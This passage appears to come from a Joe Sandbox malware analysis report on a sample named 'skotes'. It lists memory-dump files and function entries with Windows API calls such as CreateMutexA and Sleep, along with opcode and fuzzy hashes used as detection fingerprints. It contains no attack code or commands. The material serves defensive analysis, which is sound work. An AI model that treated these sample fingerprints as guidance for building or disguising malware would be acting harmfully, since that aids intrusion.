Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 5007c9b66a55da569056aa1296136aac22e1348a4388b52f111f1634fb086762
Instruction ID: aefe2d0d9af749873274c6fd6578b39f0cb2661e1a2b510a2238ebb1a4a865e4
Opcode Fuzzy Hash: 5007c9b66a55da569056aa1296136aac22e1348a4388b52f111f1634fb086762
Instruction Fuzzy Hash: B2311731B943049BEB0C9BFCDD8DBAEB673EB95310F248218E0549B3D6D7B549808696

Function 0060A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A550
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 3e11da1e54340ef0a184ffc77f3eb374e9114b23f31f247f073b7e20e76c25fb
Instruction ID: 89c7de18f485295605299d062d16c1c97ac64a02d11e52da6917c3a3a9b406b8
Opcode Fuzzy Hash: 3e11da1e54340ef0a184ffc77f3eb374e9114b23f31f247f073b7e20e76c25fb
Instruction Fuzzy Hash: 93311531B943049BEB0CDBB8DD89BAEB773EB85354F248618E0149B3D6C77589808756

Function 0060A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A685
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 90cb2731fd3dacd16517336279ebc52ad32b56d51c0a2ac0e05281567fbe1efb
Instruction ID: ce222af9f064a3a7398308826ea071282e592210d558f4191cb4257d9a44039d
Opcode Fuzzy Hash: 90cb2731fd3dacd16517336279ebc52ad32b56d51c0a2ac0e05281567fbe1efb
Instruction Fuzzy Hash: ED312631B943049BEB0CDBBCCD89BAEB773DB85360F248658E0149B3D6C77589808796

Function 0060A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060A7BA
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: f704052e9f9118e905752ff9b41f2cc508b546b84475914d0351b57bb954cc02
Instruction ID: dda132bed269557c3878c8c7895124418b3a653742c7e5782b8486a624034a7e
Opcode Fuzzy Hash: f704052e9f9118e905752ff9b41f2cc508b546b84475914d0351b57bb954cc02
Instruction Fuzzy Hash: B3312831B943049BEB0CDBACCD89BAEB773EBC5310F248618E014973D5D77589818752

Function 0060A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
